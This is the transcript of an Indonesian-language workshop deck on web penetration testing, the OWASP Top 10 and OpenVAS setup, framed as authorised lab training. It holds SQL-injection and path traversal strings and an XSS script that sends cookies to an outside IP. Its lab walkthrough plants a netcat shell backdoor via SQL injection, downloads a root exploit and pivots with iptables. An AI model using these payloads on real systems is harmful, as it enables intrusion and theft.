Workshop 101 - Penetration testing & Vulnerability assessment system

50
HatSecure - Workshop 101 Workshop 101 Web penetration testing & Vulnerability Assessment How an attacker could compromise a system? HatSecure - Workshop 101 By Danang Heriyadi Email : [email protected] Web : http://www.hatsecure.com

description

- Penetration testing with Openvas and Post exploitation - Hacking and secure - Attack with defense

Transcript of Workshop 101 - Penetration testing & Vulnerability assessment system

Page 1: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 101

Workshop 101Web penetration testing & Vulnerability Assessment

How an attacker could compromise a system?

HatSecure - Workshop 101

By Danang Heriyadi

Email : [email protected]

Web : http://www.hatsecure.com

Page 2: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1011

Lisensi

Hatsecure - Workshop 101 oleh Danang Heriyadi disebarluaskan di bawah Lisensi

Creative Commons Attribusi-NonKomersial 4.0 Internasional.

Berdasarkan ciptaan pada http://creativecommons.org/licenses/by-nc/4.0/.

Page 3: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1012

Workshop 101.............................................................................................................1

An Introduction to Penetration testing.................................................................................4

Penetration testing..............................................................................................4

Vulnerability......................................................................................................... 4

Threat................................................................................................................... 4

Vulnerability Assessment...................................................................................4

Penetration Testing Methodology.......................................................................................5

Adjusting Scope..................................................................................................5

Information Gathering........................................................................................ 5

Target Identification............................................................................................ 5

Target Enumeration............................................................................................5

Vulnerability Mapping.........................................................................................6

Exploitation.......................................................................................................... 6

Post Exploitation.................................................................................................6

Social Engineering..............................................................................................6

Vulnerability Assessment Methodology...............................................................................7

Adjusting Scope..................................................................................................7

Target Enumeration............................................................................................7

Network and Server Assessment.............................................................7

Application Assessment.............................................................................7

OWASP...........................................................................................................................8

OWASP TOP 10 vulnerabilities................................................................................9

MySQL Injection (testing)........................................................................11

Session Fixation (PHP)........................................................................... 12

A3 - Cross Site Scripting ( XSS )...........................................................13

XSS Reflected Attack...............................................................................13

Page 4: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1013

XSS Stored Attack....................................................................................13

Relative Path Traversal........................................................................... 14

OpenVas.................................................................................................................... 31

OpenVas Installation........................................................................................31

Vulnerability Assessment ( OpenVas )..........................................................33

Schedules..........................................................................................................41

Developer Guide...............................................................................................43

Plugin development..................................................................................43

Page 5: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1014

Page 6: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1015

An Introduction to Penetration testing

Penetration testing

Aktivitas evaluasi keamanan suatu sistem komputer dengan melakukan simulasi

penyerangan. Ketika kita berbicara konteks penetration testing tentulah kita harus

memiliki persetujuan legal dari pemilik sistem, ini yang membedakan seorang

penetration tester dengan Black Hat Hacker ataupun Cracker.

Dengan demikian, segala ilmu dan materi yang anda dapat pada workshop ini

hendaklah tidak digunakan untuk melakukan akses ilegal. Segala aktivitas yang

anda lakukan merupakan tanggung jawab anda sendiri.

Vulnerability

Vulnerability (Kerentanan) adalah suatu kelemahan dalam desain sistem,

implementasi, atau operasi dan manajemen yang dapat dimanfaatkan untuk

melanggar kebijakan keamanan sistem.

Threat

Threat (Ancaman) adalah potensi serangan yang bisa terjadi dengan memanfaatkan

kerentanan, dan dapat membahayakan aset yang dimiliki oleh sebuah aplikasi

(resource, data dalam database atau sistem file).

Vulnerability Assessment

Aktivitas evaluasi keamanan suatu sistem komputer dengan mendeteksi,

mengidentifikasi dan mempelajari kelemahannya. Vulnerability assesment tidak

melakukan exploitasi celah atau kelemahan, ini hal sederhana yang membedakan

dengan penetration testing.

Page 7: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1016

Penetration Testing Methodology

Adjusting Scope

Adjusting scope adalah proses untuk menentukan batas-batas apa yang termasuk

dalam proses uji penetrasi, seperti batas jaringan, alamat IP, server dan lain-lain,

termasuk prosedur batas yang diperlukan terhadap hal itu.

Information Gathering

Dalam proses ini, penetration tester akan mengumpulkan informasi rinci seperti

jaringan target. Biasanya menggali dimulai dari informasi publik, seperti search

engine, forum, atau WHOIS database.

Tujuan dari proses ini biasanya untuk memetakan informasi tentang target, sehingga

membentuk informasi yang jelas tentang desain dan struktur jaringan target.

Target Identification

Tujuan mengidentifikasi sebanyak mungkin seluruh sistem yang terkait dengan target,

seperti mail server, firewall, web server, IDS / IPS (s), dan lain-lain. Fase ini

dimaksudkan untuk menemukan cara, yang biasa digunakan oleh pengguna

berbahaya (attacker) dan penyusup sebagai jalan masuk ke sistem.

Target Enumeration

Target enumeration merupakan satu langkah selanjutnya untuk mengidentifikasi

topologi jaringan yang tepat, sistem operasi termasuk versi aplikasi, dan port yang

terbuka pada sistem target.

Page 8: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1017

Vulnerability Mapping

Fase ini bertujuan untuk mencari kerentanan yang sudah diketahui, private, atau

kerentanan yang belum sama sekali ditemukan di situs penyedia laporan keamanan

internasional (advisory services).

Exploitation

Penetration tester mencoba untuk mendapatkan akses menggunakan exploit yang

dibagi berdasarkan pada eksploitasi kerentanan ditemukan sebelumnya, ini adalah

untuk memastikan bahwa semua script eksploitasi sesuai dengan lingkungan target.

Post Exploitation

Setelah target berhasil dieksploitasi, untuk melancarkan serangan lebih jauh ke

dalam jaringan yang tidak dapat diakses dari luar. Selanjutnya penetration tester

akan mengulangi proses target identificaton, enumeration, vulnerability mapping dan

exploitation sampai tidak bisa melanjutkan exploitasi atau identifikasi celah lagi.

Social Engineering

Manusia juga merupakan bagian dari sistem, sehingga ruang lingkup pengujian

keamanan harus melibatkan faktor manusia. Dalam pengujian keamanan, faktor

manusia adalah link paling lemah, sehingga dapat dengan mudah dieksploitasi.

Page 9: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1018

Vulnerability Assessment Methodology

Adjusting Scope

Adjusting scope adalah proses untuk menentukan batas-batas apa yang termasuk

dalam proses vulnerability assessment, seperti batas jaringan, alamat IP, server dan

lain-lain, termasuk prosedur batas yang diperlukan terhadap hal itu.

Target Enumeration

Setelah tahap information gathering dan target identification sudah selesai dan fix.

Target enumeration merupakan satu langkah selanjutnya untuk mengidentifikasi

topologi jaringan yang tepat, sistem operasi termasuk versi aplikasi, dan port yang

terbuka pada sistem target.

Network and Server Assessment

Sebuah proses untuk menemukan komponen jaringan (router, firewall, server, IDS /

IPS) untuk mengenali kerentanan dan menetapkan level risiko untuk setiap

kerentanan (low, medium, high) dan melakukan analisa solusi kebijakan mitigasi

yang sesuai (hardening the system, menerapkan patch , menegakkan kebijakan

keamanan).

Application Assessment

Melakukan analisa aplikasi sebagai cara untuk menentukan kerentanan dan

menetapkan skor risiko untuk setiap kerentanan (low, medium, high) dan

melakukan analisa solusi kebijakan mitigasi yang sesuai (hardening the system,

menerapkan patch , menegakkan kebijakan keamanan).

Page 10: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 1019

OWASP

The Open Web Application Security Project (OWASP) adalah komunitas terbuka

yang didedikasikan untuk mengembangkan, pembelian, dan memelihara aplikasi

yang dapat dipercaya. Misi OWASP adalah untuk membuat perangkat lunak

keamanan, sehingga individu dan organisasi di seluruh dunia dapat membuat

keputusan tentang risiko keamanan perangkat lunak yang benar.

Setiap orang bebas untuk berpartisipasi dalam OWASP dan semua bahan kami

tersedia di bawah lisensi Free Open Source.

Di OWASP Anda akan menemukan :

1. Aplikasi dan standar keamanan

2. Informasi lengkap tentang pengujian keamanan aplikasi

3. Bagaimana pemrogramming yang aman dan review kode yang aman

4. konferensi yang luas di seluruh dunia

Banyak kalangan praktisi atau penggiat keamanan seluruh dunia menggunakan

sumber OWASP sebagai dasar methodology ataupun mempelajari keamanan

aplikasi website. OWASP juga menyediakan informasi celah yang paling banyak

ditemukan tahun-tahun tertentu, project ini dikenal dengan OWASP TOP TEN.

Tujuan dari Top 10 proyek adalah untuk meningkatkan kesadaran tentang keamanan

aplikasi dengan mengidentifikasi beberapa risiko yang paling kritis yang dihadapi

organisasi.

Page 11: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10110

OWASP TOP 10 vulnerabilities

Tabel diatas menampilkan celah yang paling banyak ditemukan dan di exploitasi oleh

atacker. Selain itu celah diatas banyak menjadi referensi dari berbagai standar

seperti PCI DSS, Mitre, DISA, FTC, dan lainnya. Pada halaman berikutnya akan

dijelaskan masing-masing komponen dari 10 point diatas.

2013A1 Injection

A2 Broken Authentication and Session Management

A3 Cross-Site Scripting (XSS)

A4 Insecure Direct Object References

A5 Security Misconfiguration

A6 Sensitive Data Exposure

A7 Missing Function Level Access Control

A8 Cross-Site Request Forgery (CSRF)

A9 Using Known Vulnerable Components

A10 Unvalidated Redirects and Forwards

Page 12: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10111

A1 - Injection

Kelemahan injeksi, seperti SQL, OS Command, dan injeksi LDAP terjadi ketika data

yang tidak dipercaya dikirim ke interpreter sebagai bagian dari suatu perintah atau

query.

MySQL Injection (testing)

Perintah untuk menampilkan isi dari tabel article, namun disini tidak ada filter untuk

menangani apakah data yang dikirim oleh user merupakan data yang valid sesuai

ketentuan atau data yang berisi query berbahaya.

a. Integer

"SELECT * FROM article WHERE id=" . $_GET[ ‘id’ ];

Skenario untuk testing MySQL Injection (Integer based) :

http://example.com/sidebar-left.php?id=1-2

b. String

"SELECT * FROM article2 WHERE title=’" . $_GET[ ‘title’ ] . " ’ ";

Skenario untuk testing MySQL Injection (String based) :

http://example.com/sidebar-right.php?id=' or '1'='1

Page 13: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10112

A2 - Broken Authentification and Session Management

Fungsi aplikasi yang berhubungan dengan otentikasi dan manajemen sesi sering

tidak diterapkan dengan benar, yang memungkinkan penyerang untuk mendapatkan

password, kunci, atau token sesi, atau untuk mengeksploitasi kelemahan

pelaksanaan lainnya seolah menggunakan identitas pengguna lain.

Session Fixation (PHP)

Session Fixation merupakan serangan dimana seorang attacker membajak sesi

pengguna yang valid. Konsep dari serangan ini, seorang attacker memaksa user

target menggunakan ID sesi yang sudah ditentukan oleh attacker. Sehingga ketika

seorang target itu melakukan otentikasi pengguna, maka tidak akan menetapkan ID

sesi baru kepadanya karena dia sudah memiliki sesi. Setelah itu attacker

menggunakan ID sesi yang sama dengan seorang target untuk mendapatkan akses.

1. login

2. Your session is = xxx

6. Access with session = xxx

Victim

ServerAttacker

Page 14: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10113

A3 - Cross Site Scripting ( XSS )

Kelemahan XSS terjadi ketika aplikasi mengambil data yang tidak dipercaya dan

mengirimkannya ke browser web tanpa validasi yang tepat atau meloloskannya. XSS

memungkinkan attacker untuk mengeksekusi script dalam browser korban yang

dapat membajak sesi pengguna, merusak situs web, mengeksploitasi celah

keamanan web browser atau mengarahkan pengguna ke situs berbahaya.

XSS Reflected Attack

Serangan XSS jenis ini memanfaatkan URL sebagai tempat penyisipan kode

berbahaya. Untuk memancing seorang target, attacker perlu mengkombinasikan

dengan teknik social engineering.

http://example.com/search.php?keyword=<Malicious Code>

Contoh kode berbahaya :

<script>var tmp = document.cookie; document.write('<img src="http://192.168.0.103/?'%2btmp%2b'"/>');</script>

Script diatas jika di eksekusi akan memaksa browser mengirimkan session atau

cookies kepada attacker.

XSS Stored Attack

Sedangkan untuk stored attack di mana script disuntikkan secara permanen

tersimpan di server sasaran, seperti dalam database, dalam forum pesan, log

pengunjung, komentar, dan sebagainya. Kemudian ketika seorang target

mengunjungi halaman yang sudah disuntikkan kode berbahaya tersebut maka

seorang attacker bisa membajak sesi pengguna, merusak situs web, atau

mengarahkan pengguna ke situs berbahaya.

Page 15: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10114

A4 - Insecure Direct Object Reference

Insecure Direct Object Reference terjadi ketika pengembang mengekspos referensi

ke sebuah obyek implementasi internal, seperti file, direktori, rekaman database,

atau kunci, melalui URL atau bentuk parameter. Seorang penyerang dapat

memanipulasi referensi objek langsung untuk mengakses obyek lain tanpa izin.

Relative Path Traversal

Merupakan celah dimana seorang attacker memanipulasi URL yang memungkinkan

attacker dapat mengunduh file internal server. Banyak diantara penggiat keamanan

sering menyebut celah ini dengan sebutan Local File Disclosure (LFD). Biasanya

celah ini ditemukan pada halaman unduhan. Contoh halaman yang memiliki celah :

<?php

$filename = @$_GET['file'];

$file_extension = strtolower(substr(strrchr($filename,"."),1));

switch($file_extension){

case "pdf": $ctype="application/pdf"; break;

case "mp3": $ctype="application/mp3"; break;

case "exe": $ctype="application/octet-stream"; break;

case "zip": $ctype="application/zip"; break;

case "rar": $ctype="application/rar"; break;

case "doc": $ctype="application/msword"; break;

case "xls": $ctype="application/vnd.ms-excel"; break;

case "ppt": $ctype="application/vnd.ms-powerpoint"; break;

case "gif": $ctype="image/gif"; break;

case "png": $ctype="image/png"; break;

case "jpeg":

Page 16: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10115

Fungsi readfile() diberikan input nama file tanpa memberikan batasan direktori,

sehingga attacker bisa mengunduh file internal dengan memberikan lokasi spesifik

atau memanipulasi path misal /etc/passwd.

Untuk mengeksploitasinya dapat kita lakukan dengan menggunakan web browser.

http://example.com/download.php?file=/etc/passwd

case "jpg": $ctype="image/jpg"; break;

default: $ctype="application/proses";

}

header("Pragma: private");

header("Expires: 0");

header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Cache-Control: private",false);

header("Content-Type: $ctype");

header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );

header("Content-Transfer-Encoding: binary");

header("Content-Length: ".filesize($filename));

readfile("$filename");

exit(0);

?>

Page 17: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10116

Full Path Disclosure

Celah ini memungkinkan seorang attacker untuk melihat dimana letak lokasi direktori

terkini. Biasanya kita menemukannya langsung beberapa web di internet ketika

terjadi error MySQL disebuah halaman.

Contoh :

Kita dapat melihat dengan jelas dimana lokasi direktori web tersebut. Meskipun celah

ini bukan level kritis akan tetapi dengan informasi demikian seorang attacker dapat

memiliki informasi tambahan sebagai bahan untuk exploitasi selanjutnya.

Banyak sekali celah yang dikategorikan pada Insecure Direct Object Reference, akan

tetapi disini kita ambil 2 contoh yang sering kita temui di internet.

Page 18: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10117

A5 - Security Missconfiguration

Celah ini muncul akibat dari kesalahan konfigurasi keamanan. Setiap aplikasi tentu

haruslah memiliki konfigurasi untuk mengamankan user. Akan tetapi beberapa user

melakukan kesalahan dalam konfigurasi, sehingga terjadi ancaman keamanan.

Sebagai contoh disini jika anda sudah familiar dengan PHPMyadmin, pada versi

lama mengijinkan kita untuk login dengan user tanpa password sekalipun jika

memang didalam DBMS terdapat akun yang tidak memiliki password. Kenyataannya

setiap phpmyadmin terdapat 1 akun tanpa password dengan username “pma”.

Pada kategori security missconfiguration ini tidak bergantung pada konteks

phpmyadmin. Akan tetapi lebih umum ke semua bentuk kesalahan konfigurasi entah

dalam bentuk aplikasi web, server, hardware dan lainnya.

Page 19: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10118

A6 - Sensitif Data Exposure

Banyak aplikasi web tidak melindungi data sensitif seperti kartu kredit, ID pajak, dan

autentifikasi dengan tidak benar. Attacker dapat mencuri atau memodifikasi data

yang dilindungi lemah tersebut untuk melakukan penipuan kartu kredit, pencurian

identitas, atau kejahatan lainnya. Data sensitif layak perlindungan ekstra seperti

enkripsi saat sudah tersimpan atau dalam pengiriman ke DBMS.

Sebagai contoh kasus kita belanja disebuah web sosial media, disitu kita diminta

untuk memasukan informasi seperti nama asli, alamat rumah, foto, status hubungan,

dan sebagainya. Seharusnya untuk mengamankan data personal ini haruslah perlu

ekstra perlindungan dengan menerapkan enkripsi.

A7 - Missing Functional Access Control

Sebagian besar aplikasi web memverifikasi tingkat hak akses sebelum user interface

terlihat. Namun, aplikasi perlu melakukan pemeriksaan kontrol akses yang sama

pada server ketika fungsi masing-masing diakses. Jika permintaan tidak diverifikasi,

attacker akan bisa melakukan permintaan untuk mengakses fungsi tanpa otorisasi

yang tepat.

Skenario dari kategori ini, misal kita mengakses sebuah website. Dalam web tersebut

terdapat halaman admin untuk mengunggah file ke server. Akan tetapi attacker dapat

mengakses halaman tersebut tanpa melakukan otentifikasi.

Page 20: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10119

A8 - Cross Site Request Forgery

Celah keamanan pada aplikasi web dengan cara mengeksploitasi suatu task dari

sebuah Web dengan memanfaatkan Autentikasi yang dimiliki oleh target. Hal ini

memungkinkan penyerang untuk memaksa browser korban untuk menghasilkan

permintaan seakan sah dari korban.

Skenario : Seorang user melakukan otentifikasi pada suatu web. Di web tersebut

memiliki link untuk logout.

http://example.com/login.php?logout=true

Dari informasi link logout diatas kemudian attacker membuat halaman baru dengan

kode sumber dibawah ini :

Halaman tersebut disimpan ke web milik attacker dengan alamat link

http://attacker.com/image.html. Kemudian attacker memancing korban yang sudah log-in

untuk mengakses link tersebut. Setelah korban mengakses halaman tersebut maka

korban akan logout seketika bersamaan dengan akses link berbahaya tersebut.

<html>

<head>

<title>CSRF attack</title>

</head>

<body>

<img src="http://example.com/WebVuln/login.php?logout=true"/>

</body>

</html>

Page 21: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10120

A9 - Using Components with Known Vulnerabilities

Komponen, seperti library, framework, dan modul perangkat lunak lain, hampir selalu

berjalan dengan hak penuh. Jika komponen yang memiliki celah ini dimanfaatkan,

serangan seperti itu dapat menyebabkan kehilangan data yang serius hingga server

yang anda miliki diambil alih.

A10 - Unvalidated Redirects and Forwards

Aplikasi web yang sering mengarahkan dan meneruskan pengguna ke halaman lain

dan website, dan menggunakan data yang tidak dipercaya untuk menentukan

halaman tujuan. Tanpa validasi yang tepat, penyerang dapat mengarahkan korban

untuk phishing atau situs malware, atau menggunakan mengalihkan untuk

mengakses halaman yang tidak sah.

Meski ini tidak sampai mengeksploitasi objek secara langsung, akan tetapi harus di

waspadai dengan memberikan validasi.

Page 22: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10121

Attack Narrative

Keterangan :

- Server kali linux dipakai oleh peserta yang tidak bisa menjalankan virtual machine

karena kondisi spesifikasi RAM minimal dan sebagainya.

- Jika peserta bisa menjalankan virtual machine kali linux di laptopnya maka peserta

dapat melakukan attacking secara langsung pada target 1.

Kali Linux

Target 1

Target 2

User

Page 23: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10122

Chapter One - Attacking Target 1

Sekilas mengenai sistem target 1, pada mesin ini lebih dominan digunakan untuk

webserver. Sehingga kita bisa memulai dari information gathering seputar sistem

target 1. Pada modul ini IP target 1 adalah 192.168.0.104, sesuaikan dengan IP

address pada lab workshop.

root@kali:~# nmap -sS -sV -O 192.168.0.104

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3c

22/tcp open ssh OpenSSH 5.5p1 Debian 4ubuntu6 (Ubuntu Linux;protocol 2.0)

80/tcp open http Apache httpd 2.2.16 ((Ubuntu))

443/tcp open ssl/http Apache httpd 2.2.16 ((Ubuntu))

MAC Address: 08:00:27:50:B2:9A (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.17 - 2.6.36

Network Distance: 1 hop

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Kita sudah mendapatkan informasi port apa saja yang terbuka beserta versi

aplikasinya. Dari semua port diatas saya temukan celah pada port 21 ( ProFTPD ) :

CVE-2010-4652

Heap-based buffer overflow in the sql_prepare_where function (contrib/mod_sql.c) in ProFTPD before 1.3.3d,when mod_sql is enabled, allows remote attackers to cause a denial of service (crash) and possibly executearbitrary code via a crafted username containing substitution tags, which are not properly handled duringconstruction of an SQL query.

Page 24: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10123

Kita uji apakah celah tersebut bisa di exploitasi dengan mengakses ftp menggunakan

user root’, ‘ttt’ dan password anonymous :

root@kali:~# ftp 192.168.0.104

Password:

530 Login incorrect.

Login failed.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> bye

221 Goodbye.

Baiklah pada kasus ini kita tidak bisa mengeksploitasinya, kemungkinan disebabkan

mod_sql dimatikan. Dari sini kita beralih mencoba port 80 pada port ini sama sekali

kita tidak menemukan celah pada sisi aplikasi apache sehingga kita beralih ke

aplikasi web.

Kita akses menggunakan web browser http://192.168.0.104 disitu terdapat sebuah

aplikasi web. Kita bisa memindai celah apa saja yang terdapat pada aplikasi web

dengan tool OWASP Zap.

Page 25: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10124

Berikut hasil pemindaian celah menggunakan owasp-zap :

Pada URL http://192.168.0.104/WebVuln/sql.php?data=1 ternyata memiliki celah SQL Injection.

Kita akan mencoba mengeksploitasinya untuk mendapatkan akses terminal server.

Dimulai dengan validasi MySQL Injection :

http://192.168.0.104/WebVuln/sql.php?data=1’ and ‘’=’

Dan

http://192.168.0.104/WebVuln/sql.php?data=2-1

Metode kedua menghasilkan output yang sama dengan halaman normal

kemungkinan kita bisa exploitasi celah ini menggunakan mysql injection berbasis

integer.

Langkah berikutnya kita akan menentukan letak berapa kolom yang terdapat pada

tabel terkini dengan menebaknya :

http://192.168.0.104/WebVuln/sql.php?data=1 order by 1 ( Normal )

Page 26: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10125

http://192.168.0.104/WebVuln/sql.php?data=1 order by 5 ( Blank )

http://192.168.0.104/WebVuln/sql.php?data=1 order by 2 ( Normal )

http://192.168.0.104/WebVuln/sql.php?data=1 order by 3 ( Normal )

http://192.168.0.104/WebVuln/sql.php?data=1 order by 4 ( Blank )

Kita berhasil menemukan jumlah kolom yang tersisa. Langkah selanjutnya kita perlu

menentukan kolom ke berapa yang ditampilkan ke halaman.

http://192.168.0.104/WebVuln/sql.php?data= -10 UNION SELECT 'a','b','c'

Halaman yang tampil akan seperti dibawah ini :

Sekarang kita injeksi URL dengan script php backdoor dan menyimpannya ke

direktori /var/www/WebVuln/backdoor.php :

http://192.168.0.104/WebVuln/sql.php?data= -10 UNION SELECT 'a','b','<?php system(" nc -lvp 2222 -e/bin/sh"); ?>' INTO OUTFILE '/var/www/WebVuln/backdoor.php'

Page 27: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10126

Selanjutnya kita coba aktifkan backdoor port 2222 dengan cara mengakses dengan

web browser pada URL :

http://192.168.0.104/WebVuln/backdoor.php

Akses backdoor port 2222 menggunakan telnet, nc, atau bisa juga dengan putty :

Sampai disini kita sudah berhasil mendapatkan akses backdoor TCP. Selanjutnya

kita akan mencoba mendapatkan akses root dengan mengeksploitasi celah di kernel

2.6.35. Sebelum itu kita perlu mendapatkan akses backdoor PTY agar sambungan

kita dengan backdoor bisa interaktif menggunakan perintah :

python -c "import pty;pty.spawn('/bin/bash')"

Page 28: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10127

Dari terminal kita download exploit untuk kernel 2.6.35 :

www-data@target:~# wget http://workshop101.com/root-exploit.c

Compile source code root-exploit.c :

Page 29: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10128

Dari gambar diatas kita sudah berhasil mengambil alih akses tertinggi (root) dengan

kata lain sistem sudah dibawah kendali kita secara keseluruhan. Namun kita masih

belum selesai, disini kita baru selesai melakukan exploitasi pada target 1. Untuk

target 2 kita tidak bisa melakukan serangan secara langsung melalui jaringan user.

Karena pada dasarnya target 2 hanya terhubung pada sistem target 1. Maka kita

musti melakukan lompatan atau pivoting ke target 2.

Jalankan perintah ifconfig dari terminal Target 1:

# /sbin/ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:50:b2:9a

inet addr:192.168.0.104 Bcast:192.168.0.255Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe50:b29a/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:180 errors:0 dropped:0 overruns:0 frame:0

TX packets:432 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:17204 (17.2 KB) TX bytes:40153 (40.1 KB)

Page 30: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10129

eth1 Link encap:Ethernet HWaddr 08:00:27:96:6c:84

inet addr:10.13.13.101 Bcast:10.13.13.255Mask:255.255.255.0

inet6 addr: fe80::a00:27ff:fe96:6c84/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:4 errors:0 dropped:0 overruns:0 frame:0

TX packets:47 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1717 (1.7 KB) TX bytes:5483 (5.4 KB)

Ternyata target 1 terhubung ke jaringan internal, terlihat berdasarkan IP pada

interface eth1 dengan IP 10.13.13.101. Untuk mengetahui IP address dari target 2

kita perlu melakukan pemindaian menggunakan nmap :

# nmap -sP 10.13.13.1/24

Nmap scan report for 10.13.13.101

Host is up.

Nmap scan report for 10.13.13.102

Host is up (0.00038s latency).

MAC Address: 08:00:27:70:E0:E8 (Cadmus Computer Systems)

Nmap done: 256 IP addresses (3 hosts up) scanned in 3.90 seconds

Setelah itu kita mulai lagi melakukan pemindaian port dengan nmap :

# nmap -sS -sV 10.13.13.102

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

Page 31: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10130

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (rpc #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec?

513/tcp open login?

514/tcp open shell?

1099/tcp open unknown

1524/tcp open ingreslock?

2049/tcp open nfs 2-4 (rpc #100003)

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Disini kita bisa mengakses target 2 melalui target 1. Agar kita bisa bebas mengakses

target 2 langsung dari laptop kita. Maka kita perlu membuat port forwarding antara

target 1 ke target 2. Contoh disini saya akan mengalihkan port 7777 pada target 1

agar diantarkan ke target 2 pada port 80 :

# echo "1" > /proc/sys/net/ipv4/ip_forward

# /sbin/iptables -t nat -A PREROUTING -p tcp --dport 7777 -j DNAT--to-destination 10.13.13.102:80

# /sbin/iptables -t nat -A POSTROUTING -j MASQUERADE

Langkah selanjutnya merupakan latihan bagi peserta. Selamat menikmati :D.

Page 32: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10131

OpenVasOpenVas Installation

OpenVas terkadang sudah terdapat pada repository beberapa distro linux, akan

tetapi tidak semua distro menyediakannya. Untuk Centos kita cukup install dengan

perintah yum install openvas*. Jika anda pengguna debian atau turunannya, kita bisa

install OpenVas dengan perintah dibawah ini :

Menambah repositori OpenVas

recho "deb http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/ ./" >>/etc/apt/sources.list

Menambah kunci GPG ke apt

wget http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/v6/Debian_7.0/Release.key

apt-key add ./Release.key

sudo apt-get update

Install OpenVas dan dependensinya

apt-get -y install greenbone-security-assistant openvas-cli openvas-manager openvas-scanner openvas-administratorsqlite3 xsltproc rsync

Install paket pendukung untuk generate OpenVas report

apt-get -y install texlive-latex-base texlive-latex-extra texlive-latex-recommended htmldoc

Paket pendukung untuk autogenerated LSC credential packages

apt-get -y install alien rpm nsis fakeroot

Setelah selesai melakukan instalasi OpenVas pada halaman selanjutnya kita akan

konfigurasi OpenVas dan memperbarui plugin dan advisory yang diperlukan.

Page 33: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10132

Membangkitkan sertifikat digital

test -e /var/lib/openvas/CA/cacert.pem || openvas-mkcert -q

Memperbarui NVT ( Advisory )

openvas-nvt-sync

test -e /var/lib/openvas/users/om || openvas-mkcert-client -n om -i

/etc/init.d/openvas-manager stop

/etc/init.d/openvas-scanner stop

Memperbarui plugin dan memuat plugin

openvassd

openvasmd --rebuild

openvas-scapdata-sync

openvas-certdata-sync

Membuat account OpenVas

test -e /var/lib/openvas/users/admin || openvasad -c add_user -n admin -r Admin

killall openvassd

sleep 15

Menjalankan OpenVas

/etc/init.d/openvas-scanner start

/etc/init.d/openvas-manager start

/etc/init.d/openvas-administrator restart

/etc/init.d/greenbone-security-assistant restart

Ketika OpenVas sudah berjalan maka anda bisa mengaksesnya melalui web browser

pada port 9392. Contoh :

https://localhost:9392/

Anda dapat mengganti localhost dengan alamat IP dari linux yang terinstall OpenVas.

Page 34: Workshop 101 - Penetration testing & Vulnerability assessment system

HatSecure - Workshop 10133

Vulnerability Assessment ( OpenVas )

Jika OpenVas sudah terinstall dengan benar. Kita buka halaman panelnya pada port

9392. Account yang digunakan pada workshop ini :

Username : admin

Password : openvas

